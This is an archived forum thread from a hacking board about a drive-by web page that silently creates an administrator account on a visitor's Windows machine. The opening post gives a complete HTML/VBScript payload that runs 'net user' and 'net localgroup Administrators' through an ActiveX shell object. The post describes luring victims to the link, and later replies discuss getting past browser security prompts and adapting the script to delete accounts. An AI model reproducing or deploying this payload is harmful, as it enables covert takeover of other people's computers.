|
|
 |
|
|
|
register |
bbs |
search |
rss |
faq |
about
|
|
|
meet up |
add to del.icio.us |
digg it
|
|
|
| Network Security and Hacking Interesting hacks and cracks. Info on firewalls, TCP/IP, encryption, networks, and security. The ins and outs of the phone system, caller services, how things work, what's illegal and what's not, cellular phones, beepers, telephony legislation, the PUC, ISDN, taps, who's listening, and switches. Talking about phones, hacking systems, technical advice, and such iscompletely LEGAL in the United States -- it's covered by the First Ammendment. What's illegal is conspiracy to commit a crime. So if you say something like "Meet me at 2am so we can crack a can" or "I changed my cellphone's number myself" you are criminally liable. Stating "You can crack a can by doing thus-and-so" or "If you wanted to change a cellphone's number, you could do it like so" is perfectly ok. Posting passwords, calling card numbers, or credit card numbers is forbidden on this network. Posting such info will get you booted off the net. |
 |
|
# 1
2007-04-26, 19:39
|
|
|
Creating Administrator Account via Web Link
Creating Administrator Account via Web Link
The following script will create a user account with administrator privileges in the local system that also remotely. The attacker can upload the script in a web server and compel the victim to visit the malicious link. Once, the victim visits the vindictive link, he or she will not know that a new user account with administrator privileges has been created in his or her system.
Code:
<html>
<object id=wsh
classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=vbscript>
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user NEW_USER PASS /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators NEW_USER /add",0)
window.close
</script>
</html>
New User Account Details:
Username: NEW_USER
Password: PASS
Have Fun! - Gazz |
# 2
2007-04-26, 20:44
|
|
Regular
|
|
randomstatename
|
|
Re: Creating Administrator Account via Web Link
Never seen you in NS&H before....but nice post.
Not sure if Firefox will allow this to run, but I'll test it out now.
IE prompts "An activeX controller may cause damage if executed 'yes' 'no'"
but most people will click yes anyway.
Nice script.
You written anymore?
S'pose this will be good when I know I don't have time for "rescue cd's"
For some reason this wont work when I added it to a web server. Any idea why this is happening? Testing it out on my own machine, works fine when I run locally, but not through the web.
Last edited by wargsm : 2007-04-26 at 21:15.
|
# 3
2007-04-26, 21:38
|
|
|
Re: Creating Administrator Account via Web Link
Quote:
Originally Posted by wargsm
Never seen you in NS&H before....but nice post.
Not sure if Firefox will allow this to run, but I'll test it out now.
[EDITED FOR BREVITY]
For some reason this wont work when I added it to a web server. Any idea why this is happening? Testing it out on my own machine, works fine when I run locally, but not through the web.
|
I've seen him here before. Nice enough guy.
It shouldn't run in Firefox, since it doesn't support ActiveX, nor VBScript.
One reason it might not run on the Internet, but would run locally, is that you typically have tighter security settings for Internet sites.
Just a thought.
|
# 4
2007-04-26, 22:07
|
|
|
Re: Creating Administrator Account via Web Link
The script is the product of an hour of boredom earlier. I haven't tested it, or plan too, I posted it here for the concept.
|
# 5
2007-04-26, 22:32
|
|
Regular
|
|
A place called Vertigo
|
|
Re: Creating Administrator Account via Web Link
Very good post. *bookmarks*
|
# 6
2007-04-26, 23:17
|
|
|
Re: Creating Administrator Account via Web Link
Quote:
Originally Posted by HomieG6189
Very good post.
|
Agreed.
|
# 7
2007-04-27, 14:12
|
|
|
Re: Creating Administrator Account via Web Link
Quote:
Originally Posted by oddballz194
I've seen him here before. Nice enough guy.
It shouldn't run in Firefox, since it doesn't support ActiveX, nor VBScript.
One reason it might not run on the Internet, but would run locally, is that you typically have tighter security settings for Internet sites.
Just a thought.
|
Yep IE7/6 have lower security settings for local files, BTW it would easily work on lower IE version.
you can also edit it to delete and account also,because if you can create an account you can also delete an account.
Also if the user is power user or lower with an NTFS file system this might not work.
Nice post though saved it for later testing.I haven't tested but by the looks it may or may not work.
+1
BTW Gazz is a regular in SG if i am not wrong.
|
# 8
2007-04-27, 22:02
|
|
|
Re: Creating Administrator Account via Web Link
Quote:
Originally Posted by dfgremnantsunleashed
Yep IE7/6 have lower security settings for local files, BTW it would easily work on lower IE version.
you can also edit it to delete and account also,because if you can create an account you can also delete an account.
Also if the user is power user or lower with an NTFS file system this might not work.
Nice post though saved it for later testing.I haven't tested but by the looks it may or may not work.
+1
BTW Gazz is a regular in SG if i am not wrong.
|
You're Correct I am a regular in SG, shameful as it may be.
|
# 9
2007-04-27, 22:18
|
|
|
Re: Creating Administrator Account via Web Link
Quote:
Originally Posted by Gazz
You're Correct I am a regular in SG, shameful as it may be.
|
No it's not shameful i am a regular too  .
|
# 10
2007-04-28, 01:25
|
|
Regular
|
|
Suburban Buffalo New York.
|
|
Re: Creating Administrator Account via Web Link
Of course, this assumes they're running windows, and are operating at the administrator level, but good post at any rate.
|
This thread continued for 2 pages in the real archive, 11 posts total - only page 1 survived here.
| Thread Tools |
 Show Printable Version  Email this Page
|
| Display Modes |
 Linear Mode Switch to Hybrid Mode  Switch to Threaded Mode
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
|
|
|
To the best of our knowledge, the text on this page may be freely reproduced and distributed.
totse.com certificate signatures
|
|
|
About | Community | Bad Ideas | Drugs | Ego | Erotica | Fringe | Society | Technology
|
|
|
|
|
|
![]()
![]()
|
Creating Administrator Account via Web Link
